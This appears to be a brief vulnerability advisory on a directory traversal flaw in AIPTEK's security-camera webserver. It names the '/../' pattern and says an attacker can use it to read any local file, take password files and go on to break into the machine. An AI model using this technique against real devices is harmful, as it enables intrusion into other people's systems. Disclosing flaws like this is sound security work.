1) Introduction
===============
AIPTEK's cameras webserver is used as a webserver for watching security
cameras remotly.
It allows broadcasting live streaming video on the web through the built-in
webserver.
The server also allows live video capture.

2) Bug
======
The webserver uses no protection to avoid the directory traversal bug.
The problem happens when the attacker uses the classic pattern "/../" that
allows him to see and download any file in the remote system knowing the
path.
This allows any attacker to : Read and download any local file, and in most
cases retrieve the machine's password files and invade it (using
ssh,ftp,http,netbios,samba etc...).
